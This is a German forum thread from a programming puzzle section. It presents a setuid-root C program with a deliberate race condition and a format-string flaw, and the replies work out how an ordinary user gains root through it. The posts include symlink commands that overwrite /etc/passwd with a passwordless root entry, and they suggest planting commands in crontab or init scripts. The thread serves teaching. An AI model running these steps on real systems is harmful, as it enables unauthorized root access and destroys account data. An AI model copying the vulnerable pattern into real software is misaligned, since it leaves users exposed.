http://www.pronix.de -> Forum -> Knobelecke

Forum: Knobelecke

Moderatoren: broesel, juergen

Thema: Race Conditions, Teil 1

Race Conditions, Teil 1

broesel (webmaster) am 15.12.2010 um 23:41

Dieses Rätsel ist eine dreiteilige Serie. Ausgangspunkt ist immer der unten angegebene Code, welcher sukzessive leicht verändert wird.


Gegeben ein Programm, dessen Source so aussieht:


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        FILE *fp;
        struct stat buf;

        /* if file already exists, abort */
        if (!stat("./file.txt", &buf))
                return -1;

        sleep(10);

        fp = fopen("./file.txt", "w");
        fprintf(fp, argv[1]);
        fclose(fp);

        return 0;
}


Wir nehmen an, die dazugehörige Executable gehört root und das setuid-Bit ist gesetzt, d.h. wenn das Programm gestartet wird, läuft es mit den Rechten des Besitzers, nicht mit denen des Aufrufers. Jeder Benutzer kann das Programm ausführen. Wir sind ein gewöhnlicher Benutzer.


Frage: wie können wir uns mit Hilfe dieses Programms root-Rechte verschaffen?

Gruss,
Philip

--
The C Programming Quiz (externer link) - bitte Fragen einreichen :)

 

Re: Race Conditions, Teil 1

Patrick am 16.12.2010 um 07:38

file.txt als link auf FOO anlegen und addgroup myName root als Parameter an das Programm.
Die Idee dahinter ist, dass alles was per fprintf(fp, argv[1]); geschrieben werden soll, auf der (einer) Shell ausgeführt wird. Was dieses FOO sein muss, weiß ich nicht. /bin/bash ... STDOUT ...?
Nicht geprüft.

--
To follow the path: look to the master, follow the master, walk with the master, see through the master, become the master.

 

Re: Race Conditions, Teil 1

Martin Conrad (webmaster) am 16.12.2010 um 07:59

Zitat:

file.txt als link auf FOO anlegen und addgroup myName root als Parameter an das Programm.
Die Idee dahinter ist, dass alles was per fprintf(fp, argv[1]); geschrieben werden soll, auf der (einer) Shell ausgeführt wird. Was dieses FOO sein muss, weiß ich nicht. /bin/bash ... STDOUT ...?
Nicht geprüft.


Es ist ein wenig Systemabhängig. Am besten auf die Konsole, auf der man sich befindet. Also /dev/ttyn

Bis denne

Martin

--
0xC0FFEE

 

Re: Race Conditions, Teil 1

Martin Conrad (webmaster) am 16.12.2010 um 08:08

Zum Einen den Weg über Devices, den Patrick beschrieben hat, dann gibts aber auch noch den Weg über Dateien. Also zum Beispiel nen Befehl in die Crontab, in ein rc-, oder init-script, rc.local, login.defs und tausende andere Sauereien, die schwer auffindbar und wieder rückgängig machbar sind, sobald man die Rechte ausgeweitet hat.
Dazu kommen dann noch sockets, pipes, und alles an IPC, was grad so rumwerkelt.

Bis denne

Martin

--
0xC0FFEE

 

Re: Race Conditions, Teil 1

broesel (webmaster) am 16.12.2010 um 10:24

Den Weg über Devices muss mir erst noch jemand erklären. Martins Antwort ist aber in jedem Fall richtig.

Die Attacke im Detail, wie ich sie mir vorgestellt habe:

- das obige Programm mit einem geeigneten Parameter starten
- innerhalb von 10 Sekunden file.txt mit einer anderen Datei verlinken
- warten
- das Programm hat seinen Parameter in die verlinkte Datei geschrieben

Eine brachiale Methode wäre ganz einfach, die /etc/passwd neu zu formulieren:

# <evil_program> "root:mypass:0:0:root:/root:/bin/bash" &
# sleep 2
# ln -sf /etc/passwd ./file.txt
# su

Das funktioniert natürlich nicht, wenn das System mit /etc/shadow arbeitet, und es würde vermutlich auch recht schnell auffallen weil dabei alle Benutzeraccounts verloren gehen, aber das Prinzip ist klar.

Weiter geht's mit Teil 2.

Gruss,
Philip

--
The C Programming Quiz (externer link) - bitte Fragen einreichen :)